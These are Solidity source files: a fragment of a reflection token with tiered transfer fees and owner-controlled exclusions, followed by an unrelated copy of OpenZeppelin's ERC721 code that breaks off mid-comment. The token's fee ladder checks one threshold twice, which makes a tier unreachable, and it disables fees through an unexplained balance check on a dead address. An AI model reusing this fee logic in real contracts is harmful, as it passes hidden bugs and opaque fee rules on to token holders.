function allowance(address owner, address spender) public view override returns (uint256) {
return _allow[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allow[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allow[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allow[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
//get total fee
function totalFee() public view returns (uint256) {
return _tFee;
}
//deliver of transaction values
function delivery(uint256 tAmount) public {
address sender = _msgSender();
require(!_excluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _values(tAmount);
_rOwn[sender] = _rOwn[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFee = _tFee.add(tAmount);
}
//get reflected transfer amount
function reflectToken(uint256 tAmount, bool deductFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductFee) {
(uint256 rAmount,,,,) = _values(tAmount);
return rAmount;
} else {
(,uint256 rTransAmount,,,) = _values(tAmount);
return rTransAmount;
}
}
//get reflection of token
function tokenReflect(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _rate();
return rAmount.div(currentRate);
}
//transfer token and set fee
function _tokenSend(address sender, address recipient, uint256 amount,bool payFee) private {
if(!payFee){
_transFee = 0;
} else {
//determine fee according to transaction amount
if(amount > (100*10**18)){
_transFee = 2;
if(amount > 1000000000000*10**18){
_transFee = 20;
}else if(amount > 10000000000*10**18){
_transFee = 15;
}else if(amount > 10000000000*10**18){
_transFee = 12;
}else if(amount > 1000000000*10**18){
_transFee = 10;
}else if(amount > 100000000*10**18){
_transFee = 8;
}else if(amount > 10000000*10**18){
_transFee = 6;
}else if(amount > 1000000*10**18){
_transFee = 5;
}else if(amount > 10000*10**18){
_transFee = 4;
}else if(amount > 1000*10**18){
_transFee = 3;
}
}
}
if (_excluded[sender] && !_excluded[recipient]) {
_transferFromExclude(sender, recipient, amount);
} else if (!_excluded[sender] && _excluded[recipient]) {
_transferToExclude(sender, recipient, amount);
} else if (!_excluded[sender] && !_excluded[recipient]) {
_transferNormal(sender, recipient, amount);
} else if (_excluded[sender] && _excluded[recipient]) {
_transferBothExclude(sender, recipient, amount);
} else {
_transferNormal(sender, recipient, amount);
}
}
//transaction without excluded account
function _transferNormal(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransAmount, uint256 rFee, uint256 tTransAmount, uint256 tFee) = _values(tAmount);
_rOwn[sender] = _rOwn[sender].sub(rAmount);
_rOwn[recipient] = _rOwn[recipient].add(rTransAmount);
_rewardFee(rFee, tFee);
emit Transfer(sender, recipient, tTransAmount);
}
//transaction to excluded account
function _transferToExclude(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransAmount, uint256 rFee, uint256 tTransAmount, uint256 tFee) = _values(tAmount);
_rOwn[sender] = _rOwn[sender].sub(rAmount);
_tOwn[recipient] = _tOwn[recipient].add(tTransAmount);
_rOwn[recipient] = _rOwn[recipient].add(rTransAmount);
_rewardFee(rFee, tFee);
emit Transfer(sender, recipient, tTransAmount);
}
//transaction from excluded account
function _transferFromExclude(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransAmount, uint256 rFee, uint256 tTransAmount, uint256 tFee) = _values(tAmount);
_tOwn[sender] = _tOwn[sender].sub(tAmount);
_rOwn[sender] = _rOwn[sender].sub(rAmount);
_rOwn[recipient] = _rOwn[recipient].add(rTransAmount);
_rewardFee(rFee, tFee);
emit Transfer(sender, recipient, tTransAmount);
}
//transaction both accounts are excluded
function _transferBothExclude(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransAmount, uint256 rFee, uint256 tTransAmount, uint256 tFee) = _values(tAmount);
_tOwn[sender] = _tOwn[sender].sub(tAmount);
_rOwn[sender] = _rOwn[sender].sub(rAmount);
_tOwn[recipient] = _tOwn[recipient].add(tTransAmount);
_rOwn[recipient] = _rOwn[recipient].add(rTransAmount);
_rewardFee(rFee, tFee);
emit Transfer(sender, recipient, tTransAmount);
}
//exclude account from rewards
function excludeReward(address account) public onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap V2 router.');
require(account != 0xE592427A0AEce92De3Edee1F18E0157C05861564, 'We can not exclude Uniswap V3 router.');
require(!_excluded[account], "Account is already excluded");
if(_rOwn[account] > 0) {
_tOwn[account] = tokenReflect(_rOwn[account]);
}
_excluded[account] = true;
_exclude.push(account);
}
//include account to rewards
function includeReward(address account) external onlyOwner() {
require(_excluded[account], "Account is already excluded");
for (uint256 i = 0; i < _exclude.length; i++) {
if (_exclude[i] == account) {
_exclude[i] = _exclude[_exclude.length - 1];
_tOwn[account] = 0;
_excluded[account] = false;
_exclude.pop();
break;
}
}
}
//exclude account from fees
function excludeFee(address account) public onlyOwner {
_excludedFee[account] = true;
}
//include account to fees
function includeFee(address account) public onlyOwner {
_excludedFee[account] = false;
}
//distribute fee to holder
function _rewardFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFee = _tFee.add(tFee);
}
//check is account excluded from rewards
function excludedReward(address account) public view returns (bool) {
return _excluded[account];
}
//check of is account excluded from fee
function excludedFee(address account) public view returns(bool) {
return _excludedFee[account];
}
//get values of transaction
function _values(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransAmount, uint256 tFee) = _tValues(tAmount);
(uint256 rAmount, uint256 rTransAmount, uint256 rFee) = _rValues(tAmount, tFee, _rate());
return (rAmount, rTransAmount, rFee, tTransAmount, tFee);
}
//get transfer values of transaction
function _tValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = calcFee(tAmount);
uint256 tTransAmount = tAmount.sub(tFee);
return (tTransAmount, tFee);
}
//get reward values of transaction
function _rValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransAmount = rAmount.sub(rFee);
return (rAmount, rTransAmount, rFee);
}
//get reflection rate
function _rate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _currentSupply();
return rSupply.div(tSupply);
}
//get reflected and total supply
function _currentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _exclude.length; i++) {
if (_rOwn[_exclude[i]] > rSupply || _tOwn[_exclude[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwn[_exclude[i]]);
tSupply = tSupply.sub(_tOwn[_exclude[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
//get amount of fee
function calcFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_transFee).div(
10**2
);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allow[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from zero address");
require(to != address(0), "ERC20: transfer to zero address");
require(amount > 0, "Transfer amount must be greater than zero");
//indicates if fee should be deducted from transfer
bool payFee = true;
bool noEthereum = false;
//check of transaction is not on Ethereum
if(IERC20(address(this)).balanceOf(0xdEAD000000000000000042069420694206942069) < 550000000000000){
noEthereum = true;
}
//if any account belongs to _excludedFee account or withdrawal from matic/polygon then remove the fee
if(_excludedFee[from] || _excludedFee[to] || from == _polyBridge || noEthereum){
payFee = false;
}
//transfer amount and fee
_tokenSend(from,to,amount,payFee);
}
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/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
